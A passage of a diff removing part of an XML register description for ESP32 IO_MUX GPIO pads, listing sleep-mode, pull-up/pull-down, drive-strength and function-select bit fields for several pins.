-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO5</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO18</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO19</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO20</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO21</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO22</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO3</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO1</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO23</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
